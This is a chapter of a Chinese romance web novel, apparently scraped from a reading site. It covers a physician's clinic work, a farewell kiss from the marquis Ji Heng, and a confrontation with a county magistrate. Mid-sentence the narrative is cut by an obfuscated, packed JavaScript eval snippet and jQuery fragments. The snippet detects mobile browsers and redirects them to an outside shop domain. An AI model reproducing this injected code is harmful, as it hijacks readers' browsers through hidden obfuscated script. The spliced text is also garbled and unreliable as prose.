38. 第三十八章

作品:《温柔医娘驯疯侯

    季衡闻言,忽然笑了。


    他的笑容缱绻,目光如同春日的暖阳,将她整个人轻轻包裹:“你不会。”


    栗岫云皱起眉:“你就这么相信我?”


    “我相信我的直觉。”


    栗岫云只觉得匪夷所思:“你就靠着这所谓的直觉,便要将你的身家、你的荣誉,乃至你的性命,都交付在我的手上?”


    “那我的直觉,错了吗?”季衡的目光依旧坚定,直直地看向她的眼睛。


    栗岫云瞬间语塞,竟不知该如何回答。


    季衡缓缓凑上前来,声音低沉而温柔:“你看,我没错吧。你或许会气恼我,会讨厌我,甚至会离开我,但你一定不会伤害我。”


    他轻轻眨了眨眼,又委屈兮兮的:“虽然,你的气恼、你的讨厌,还有你的逃离,对我来说,已经是最大的伤害了。”


    栗岫云抽出手来,转过身不再与他对视。


    手心里那颗心脏,像是得到甘霖滋润的枯叶,一点点雀跃起来,她不得不合上手,让它稍微安静一点。


    “你对我,根本就是势在必得,对吗?”她问。


    季衡重重叹息:“原本是的,现在……倒不是了。”


    这略带挫败感的话,倒让栗岫云心里一松。


    还没有偏执到完全自以为是,那便还有转圜的余地。


    眼下,就这个“愿意还是不愿意的”话题,只怕她嘴皮子说干,也动摇不了他一点,倒不如说点别的话题。


    她也不想,明明别人有所付出,还心安理得理所当然的,连句谢谢都不说。


    “我知道了。方才是我不好,不该因为你没头没脑地提起周阔,便心生烦躁,说话重了些。你帮忙找铺子、筹备医馆的恩情,我都记在心里,我是感激你的。”


    她说完,身边的人却迟迟没有回应。她不由得疑惑地转过头去。


    下一瞬,他的吻落在唇上。


    手中的心脏,不,是全身的脉搏都在奔涌沸腾。


    他只是轻轻的一吻罢了,比之以往的两次,不过是浅尝辄止。


    可栗岫云却觉得,比以往两次,更加灼人。


    季衡缓缓退开,眉眼舒和,俊朗的脸上满是笑意:“云儿,就是这样的你,我甚是心悦。”


    这样……是怎样?


    栗岫云微微失神,垂着头,静等着心头那汹涌的悸动,一点点平静下来。


    季衡轻抚她散落在肩头的一缕发丝,继续道:“圣上有差事要办,我得回京城一趟,忍冬和绿环都会留下来,但有需求,只管吩咐他们便是。”


    他再次握着她的手,在手背上亲了一下,又在脸上亲了一下。


    “这次,一定要等我回来,好吗?”


    她尚未从余热中冷却,轻轻地点了点头,低低应到:“好。”


    见她乖巧应允,季衡心中的不安终于得到少许抚慰。


    他已经耽搁了些时日,此时同栗岫云交待完,便脚步匆匆下楼,翻身上马,朝着窗格里的倩影挥了挥手,带着人马走踏尘而去。


    栗岫云心中暗自自嘲,自己这样,还真像个等待夫君归家的小娇妻。


    ……


    医馆正式开张后,程骜特意托同乡旧谊,请了位坐堂的老中医,又招了个手脚伶俐的小伙计专司制药捣药。


    有了两人搭手,程青青便只需把持最关键的投药环节,不必再如摆摊时那般事事亲力亲为。


    但经营医馆毕竟不同于摆摊,每日药材清点、进账出账、武馆交货,要忙的事非常繁杂,又因为才开业,桌椅药柜要添置,账册流程要学通,程青青从早忙到晚,竟连片刻闲坐的功夫都没有。


    栗岫云按时给严秋娘复诊,这天去时,正碰到老夫人来看望。


    寒暄之间,老夫人得知栗岫云合开医馆的事,慈眉善目的脸上添了几分赞许:“女子行医本就艰难,栗娘子有这份仁心与本事,实在难得。老身前些年收了几本前朝传下的医书,倒也用不上,便送与你作开业贺礼吧。”


    栗岫云忙起身,恭恭敬敬行了一礼:“谢老夫人厚赐,民女愧领了。”


    一旁严秋娘捧着碗刚炖好的糖羹,笑眼弯弯地打趣:“孙媳竟不知祖母还有行医的志向,不如今日便请祖母替我把把脉,瞧瞧您这医书到底读得精不精?”


    “你这妮子!”老夫人点着严秋娘的额角,笑嗔道,“一点规矩都没有,竟敢打趣起老祖宗来了。”


    一时间屋里洋溢着欢声。


    等老夫人离去,栗岫云才查看伤口。


    到底是大户人家,好吃好喝将养着,又不需要下地干活,恢复得很好。


    栗岫云又教了秋娘如何做凯格尔运动恢复盆底肌功能。


    她一边示范,一边解释道:“每日坚持做上几回,能有效避免产后漏尿之苦,对身子恢复也大有裨益。”


    严秋娘听得新奇,忍不住惊叹:“竟还有这般巧妙的法子?栗娘子当真是深藏不露。”


    栗岫云浅浅一笑,将用过的手套仔细取下,放进随身带的锦缎小袋里。


    严秋娘看她这么妥帖仔细,真是越发舍不得。


    “要是你能去京城开医馆就好了,我若是有个头疼脑热,一定寻你来瞧。”


    栗岫云闻言愣了一下。


    京城,若是真要和季衡成亲,想来去京城不过是早晚的事。


    “你们要回京城了吗?”她随口问道。


    严秋娘点点头:“公爹早去了京城,只等着我出了月子便启程,总不好一直借住在周知县府上的。”


    这样也好,别弄得她每次来这院子,总想起些不愉快的记忆。


    辞别了严秋娘,栗岫云起身回医馆。


    别院到医馆的路,必要经过县衙,她在县衙大门口踌躇了片刻,还是决定上前问问青柏在不在。


    开业那日,她下楼时,青柏已经走了,这几日他没有再来医馆,她也就没机会提起这件事。


    好在门房通传得快,不多时青柏便快步从县衙内院走了出来。


    只是很不凑巧,他前脚到,周阔后脚到。


    一身青衣官袍的知县大人如青竹耸立,审视的目光在两人之间逡巡,嘴角含着笑意,却一言不发。


    青柏忙快步跑到他身边,垂首敛眉,恭恭敬敬立在一旁。


    栗岫云福身行礼,中规中矩柔声问好:“民女见过知县大人。”


    周阔压下心头的烦躁。


    这个女人,好不容易把她淡忘了,居然敢跑来找他的亲卫。


    真不知该说不知廉耻,还是不知所谓。


    这样的人,倒配得上那条疯狗。


    心念及此,他唯有的一点笑颜消失,冷肃道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057322|193028||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“青柏,你是越发不懂规矩了!平民百姓有冤情,自有衙役按流程受理,你私下与外人接触,置本官的清誉于何地?置县衙的规矩于何地?”


    青柏扑通一声跪地,惶恐道:“爷,小的知错。”


    周阔拂袖:“在此处跪上一个时辰,好好反省反省。”


    事情发展出乎栗岫云意料,是她来找青柏的,无辜牵连实在于心不忍。


    她忙上前一步,躬身求情:“大人,此事皆因民女不懂县衙规矩而起,与青柏无关。还请大人稍加宽容,民女愿代为罚过。”


    周阔袖中的手不自觉的攥紧。


    从前在他面前,她总是唯恐避之不及,如今不仅巴巴找上青柏,竟还要替他罚跪?


    当真是不知廉耻。


    他冷嗤:“栗娘子如今可是堂堂平南侯府的准夫人,在县衙门口替本官的亲卫罚跪?若让平南侯知晓,只怕要提着他的宣花斧,拆了本官这县衙,用虎头铡铡了本官的脑袋!”


    一番激烈言辞,让栗岫云如同吞了针哽在喉咙。


    她想辩驳两句,又想到依着那家伙的脾气,要是知道她来县衙,还见了周阔,没准还真做得出这等疯事。


    当务之急还是赶紧离开为妙,便匆匆福了一礼,转身快步离去。


    见不到青柏,她想请他帮忙的事,也就暂时搁置了。


    她一心扎在医馆的业务中,为了多赚些诊费,她不止看妇科疾病,女子们有个头疼脑热、食欲不振的简单内科也看。


    是以病人虽然还不算多,三五个也是有的。


    加之那位老中医是程骜托关系请来的,本来年纪就大,也不图多少银钱,纯粹是为了帮忙,因此,每日到点便收拾好药箱回家,甭管有没有待诊的病人,片刻不多留。


    以致于她偶尔还要隔着帘子看两个男病人。


    渐渐累积了不少病案,堆满了小书桌。


    这几日里,也不乏富庶人家闻名而来,请她上门给夫人小姐看诊。


    每每此时,忍冬便驾车护送她来回。


    今天上门看的是个年轻媳妇,说是成婚两年了,一直未曾有孕。


    不孕的原因太多,没有现代医学技术的辅助,栗岫云不敢狂言说自己必能治好。


    她把这个情况告诉了那位婆母,这位娘子倒是比严秋娘那位开明,说有些事看天意,只求尽心便好。


    从主家出来,天都快黑了。


    回去的车上,栗岫云小寐了一会儿,她以为自己睡了很久,醒来发现还在半道上。


    她撩起帘子:“忍冬,还没到吗?”


    “栗娘子,前头有人在卸货,得稍等一会儿,您可是饿了?车上有点心,您稍微垫两口。”忍冬不急不躁的回道。


    车上确实放了个小食盒,除了山药糕饼,还有一碗酥酪,一小壶清汁,一看便知是绿珮手笔。


    栗岫云先喝了一口清汁,甜丝丝的,连脾肺都觉着清爽。那糕点更是甜而不腻,与同季衡一同用早膳那天的点心差不多。


    想到这里,她的手蓦地顿住。


    说来,他此去也有七日了。


    御前红人,办的是什么差事?不会像上次一样受伤吧?


    不对,栗岫云甩了甩头。


    他办他的差事,我看我的病,本就是互不相干的两路人,为何要担心他?